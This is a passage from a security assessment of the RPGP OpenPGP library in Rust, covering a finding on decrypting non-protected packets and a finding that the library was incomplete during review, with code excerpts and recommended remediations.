122     type Item = Result<Message>;
123
124     fn next(&mut self) -> Option<Self::Item> {
..
139             let decrypted_packet: &[u8] = if protected {
140                 err_opt!(self.alg.decrypt_protected(&self.key, &mut res))
141             } else {
142                 err_opt!(self.alg.decrypt(&self.key, &mut res))
143             };
144
145             self.current_msgs = Some(Message::from_bytes_many(Cursor::new(
146                 decrypted_packet.to_vec(),
147             )));
148         };
149
150         let mut msgs = self.current_msgs.take().expect("just checked");
151         let next = msgs.next();
...
154         next
```

Recommended Remediation:

The assessment team recommends updating the RPGP API to allow applications to detect when non-protected packets are decrypted, or to allow applications to disable support of non-protected packets.

References:

https://cwe.mitre.org/data/definitions/327.html

I2: [RPGP] Library Under Active Development During Assessment

Description:

The assessment of the **RPGP** library was based on the Git commit hash of **1834c95f236c95977cebc70bd086b8f7f9eefea3**. During the assessment, the library was undergoing active development and was not complete. For instance, hard-coded hash octet counts for String-To-Key functionality were discovered, although TODO statements were found to make the operation configurable. This can be seen in **src/composed/key/builder.rs:238**:

```
214 impl KeyType {
...
223     pub fn generate(
224         self,
225         passphrase: Option<String>,
226     ) -> Result<(PublicParams, types::SecretParams)> {
...
235         let secret = match passphrase {
236             Some(passphrase) => {
237                 // TODO: make configurable
238                 let s2k = types::StringToKey::new_default(&mut rng);
```

Additionally, high-level functionality such as the ability to check key servers for revocation of keys was not observed. This may lead to messages being intercepted if recipient keys are stolen.

Recommended Remediation:

The assessment team recommends ensuring the library implements the OpenPGP specification fully. Additionally, perform interoperability and cross-validation tests with well-vetted OpenPGP applications to catch any errors which occur during implementation.

References:

RFC OpenPGP Message Format